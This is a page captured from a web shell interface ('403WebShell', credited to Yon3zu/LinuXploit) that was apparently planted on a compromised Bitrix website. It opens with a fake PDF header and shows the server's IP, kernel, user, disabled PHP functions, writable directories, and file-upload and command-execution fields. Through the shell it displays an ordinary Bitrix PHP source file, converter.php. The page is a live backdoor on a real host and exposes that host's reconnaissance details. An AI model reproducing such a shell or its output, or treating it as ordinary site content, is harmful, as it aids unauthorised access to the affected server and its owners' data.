%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.225.92.116
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/main/lib/web/webpacker/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/main/lib/web/webpacker//converter.php
<?php

namespace Bitrix\Main\Web\WebPacker;

use Bitrix\Main\InvalidOperationException;
use Bitrix\Main\Localization\Loc;
use Bitrix\Main\Web\Json;

/**
 * Class Converter
 *
 * @package Bitrix\Main\Web\WebPacker
 */
class Converter
{
	const CORE_EXTENSION = 'ui.webpacker';

	protected static $hasCoreExtension = false;

	/**
	 * Stringify module.
	 *
	 * @param Builder $builder Builder.
	 * @return string
	 */
	public static function stringify(Builder $builder)
	{
		self::$hasCoreExtension = $builder->hasCoreExtension();
		if (self::$hasCoreExtension)
		{
			$content = Json::encode([
				'address' => Builder::getDefaultSiteUri()
			]);
			$content = "var webPacker = $content;" . self::getEol();
		}
		else
		{
			$content = '';
		}

		foreach ($builder->getModules() as $module)
		{
			$moduleContent = self::encodeModule($module);
			$content .= self::wrap($moduleContent) . self::getEol();
		}

		return self::wrap($content);
	}

	/**
	 * Wrap by closure.
	 *
	 * @param string $content Content.
	 * @return string
	 */
	protected static function wrap($content)
	{
		return <<<EOD
;(function () {
$content
})();
EOD;

	}

	/**
	 * Encode module.
	 *
	 * @param Module $module Module.
	 * @return string
	 */
	protected static function encodeModule(Module $module)
	{
		$name = $module->getName();
		$content = '';
		if (!self::isCoreExtension($name) && self::$hasCoreExtension)
		{
			$name = \CUtil::jsEscape($name);
			$content = "var module = new webPacker.module('$name');" . self::getEol(1);

			if ($module->getProfile())
			{
				$properties = $module->getProfile()->getProperties();
				if (count($properties) > 0)
				{
					$properties = Json::encode($properties);
					$content .= "module.setProperties($properties);" . self::getEol(1);
				}
			}
		}

		if ($module->getPackage())
		{
			$content .= self::encodePackage($module->getPackage(), $module->getProfile());
		}
		if ($module->getProfile())
		{
			$method = $module->getProfile()->getCallMethod();
			if ($method)
			{
				$parameter = $module->getProfile()->getCallParameter();
				$parameter = $parameter ? Json::encode($parameter) : '{}';
				$content .=  "$method($parameter);";
			}
		}

		return $content;
	}

	/**
	 * Encode resource package.
	 *
	 * @param Resource\Package $package Package.
	 * @param Resource\Profile $profile Profile.
	 * @return string
	 */
	protected static function encodePackage(Resource\Package $package, Resource\Profile $profile = null)
	{
		$content = '';
		foreach ($package::getOrderedTypeList() as $type)
		{
			$assets = $package->getAssets($type);
			if (empty($assets))
			{
				continue;
			}

			switch ($type)
			{
				case Resource\Asset::CSS:
				case Resource\Asset::LAYOUT:
					if (!self::$hasCoreExtension)
					{
						throw new InvalidOperationException("Resource of type `$type` not allowed without core extension.");
					}

					$resources = $list = Json::encode($package->toArray($type));
					$content .= "module.loadResources($resources);" . self::getEol();
					break;

				case Resource\Asset::JS:
					foreach ($assets as $asset)
					{
						$content .= $asset->getContent() . self::getEol();
					}
					break;

				case Resource\Asset::LANG:
					if (!self::$hasCoreExtension)
					{
						throw new InvalidOperationException("Resource of type `$type` not allowed without core extension.");
					}

					$messages = [];
					$languages = [];
					$language = ($profile ? $profile->getLanguage() : null) ?: Loc::getCurrentLang();
					$isAllLangs = $profile ? $profile->isAllLangs() : false;
					foreach ($assets as $asset)
					{
						/** @var Resource\LangAsset $asset */
						$mess = $asset->useAllLangs($isAllLangs)->getContent();
						if (!is_array($mess))
						{
							break;
						}

						if ($profile)
						{
							foreach ($mess as $messLanguage => $messList)
							{
								$messList = Resource\LangAsset::deletePrefixes(
									$messList,
									$profile->getDeleteLangPrefixes()
								);
								if ($profile->isLangCamelCase())
								{
									$messList = Resource\LangAsset::toCamelCase($messList);
								}
								if (!is_array($messages[$messLanguage]))
								{
									$messages[$messLanguage] = [];
								}

								$messages[$messLanguage] = array_merge(
									$messages[$messLanguage],
									$messList
								);
							}
						}

						$languages = array_unique(array_merge(
							$languages,
							array_keys($messages)
						));
					}

					if (count($messages) === 1)
					{
						$messages = current($messages);
					}
					$messages = Json::encode($messages);
					$languages = Json::encode($languages);
					$content .= "module.language = \"$language\";" . self::getEol(1);
					$content .= "module.languages = $languages;" . self::getEol(1);
					$content .= "module.messages = $messages;" . self::getEol();

					break;
			}
		}

		return $content;
	}

	protected static function getEol($multiplier = 2)
	{
		return str_repeat("\n", $multiplier);
	}

	protected static function isCoreExtension($name)
	{
		return self::CORE_EXTENSION === $name;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit